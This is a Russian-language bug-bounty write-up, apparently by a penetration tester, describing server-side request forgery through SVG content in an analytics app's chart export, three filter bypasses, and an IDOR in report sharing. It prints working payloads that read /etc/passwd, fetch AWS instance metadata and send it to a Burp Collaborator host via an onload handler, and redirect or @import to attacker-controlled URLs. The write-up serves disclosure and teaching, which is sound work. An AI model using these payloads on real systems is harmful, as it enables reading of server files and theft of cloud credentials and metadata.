SVG SSRF и обход нововведений
Этичный Хакер
Вступление
Я тестировал аналитическое веб-приложение, которое взаимодействовало с исследовательскими институтами по всему миру, чтобы анализировать новые, возникающие тенденции в исследованиях и создавать отчеты.
Поскольку приложение в значительной степени занимается анализом данных, в нем есть функции для отображения данных исследования в виде круговых диаграмм, графиков, таблиц и т. д. Также могут быть подготовлены отчёты с данными и предоставлены коллегам-исследователям.
Эти круговые диаграммы, отчеты и графики можно экспортировать в форматы DOCX, PDF и PNG. Вы видите, к чему я клоню?
Эксплуатация
Как мы узнали ранее, данные исследования отображаются в виде диаграмм. Ниже приведен скриншот этого.

Справа от скриншота мы видим опцию «Export the chart as an image».
Нажав «Export the chart as an image», мы увидим POST запрос с содержимым изображения, как показано на снимке экрана ниже.

Сначала я просто удалил весь параметр content и заменил его на
<h1>h1 injection </h1>
Это было PNG-изображение, и после замены содержимого тегом «h1» на сервере не было никакой кодировки проверки/вывода, и я мог видеть, что тег h1 был успешно внедрен.
Поскольку HTMLi работал нормально, я подумал про svg. Я использовал приведенную ниже полезную нагрузку для извлечения содержимого etc/passwd.
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <foreignObject width="500" height="500"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="file:///etc/passwd" width="800" height="850"/> </foreignObject> </svg>
И я смог получить содержимое файла, как и ожидалось.
Владелец исправил уязвимость.
Байпас-1
Клиент применил кодировку для таких тегов, как iframe , script. Так что получить содержимое файла было уже не так просто, как раньше.
Здесь я хотел бы представить отличный ресурс для эксплуатации SVG SSRF.
https://github.com/allanlw/svg-cheatsheet
Я смог получить обратный вызов (callback) на свой сервер, используя image теги и другие теги, используя src атрибуты.
Поскольку теги javascript (script) были запрещены, мой мыслительный процесс заключался в том, чтобы каким-то образом найти способ запуска JS.
Просматривая https://github.com/allanlw/svg-cheatsheet, я узнал, что можно запустить «inline in event javascript».
Я использовал полезную нагрузку из https://github.com/allanlw/svg-cheatsheet#inline-in-event, и встроенный JS действительно отрабатывал.
Теперь мне нужен был способ эксфильтрации данных. Я построил следующую полезную нагрузку:
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://google.com/favicon.ico" height="20" width="20" onload="fetch('http://169.254.169.254/latest/meta-data/hostname').then(function (response) {
response.text().then(function(text) {
var params = text;
var http = new XMLHttpRequest();
var url = 'https://3785e80n5cipba9xo2npdk7v7mdc11.burpcollaborator.net/';
http.open('POST', url, true);
http.send(params);
})});" />
</svg>
Как работает полезная нагрузка?
- Мы загружаем фавикон Google, и при успешной загрузке срабатывает обработчик события onload .
- Используя Fetch API, мы запрашиваем метаданные AWS.
- Мы сохраняем ответ метаданных в параметре «params».
- Затем сервер отправляет POST запрос на burp collaborator с метаданными в качестве тела POST запроса. Смотрите прикрепленное изображение:

Байпас-2
Теперь клиент внедрил исправление для блокировки javascript. Кроме того, если вы помните, к тегам, таким как script , iframe и т. д., применялась кодировка вывода.
Потом я прочитал этот интересный байпас — https://twitter.com/kunalp94/status/1502527605836173312
Я использовал тот же тег meta, и он привёл к успеху. Полезная нагрузка представлена ниже:
<meta http-equiv="refresh" content="0;url=http://169.254.169.254" />
Байпас-3
Владелец ресурса применил дополнительную кодировка вывода. У меня заканчивались варианты, и тут я вспомнил отличный доклад Нахамсека. Видео ниже
Здесь Бен говорит об отсутствующей проверке style тегов (CSS). Я попробовал то же самое.
Я попробовал с тегами style, import, link и мне удалось получить обратный вызов.
Я использовал приведенную ниже полезную нагрузку (внутренний style тег в HTML), и это сработало!
<style><h1>h1taginjection</h1><iframe xmlns="http://www.w3.org/1999/xhtml" src="file:///etc/passwd" width="800" height="850"/>
@import url(http://ta79rlzq77p2kdoak91nqryxlorff4.burpcollaborator.net/import.css);
</style>
Окончательное исправление
После еще одного патча и дополнительной кодировки я пробовал различные теги, но безуспешно.
Отчет в DOCX SSRF
Как и в случае с описанной выше эксплуатацией, «Export report to DOCX» также был уязвим.
IDOR при обмене отчетами
Кроме того, присутствовала простая ошибка, из-за которой отчеты могли быть переданы коллегам-исследователям. Была возможность приглашать пользователей по электронной почте, а также устанавливать разрешения, такие как просмотр и редактирование.
Запрос содержал reportID, который был числовым и параметры permission, email.
Я изменил reportID и смог пригласить меня к другим исследовательским отчетам.
На этом все, надеюсь, вы почерпнете что-то новое из этого блога.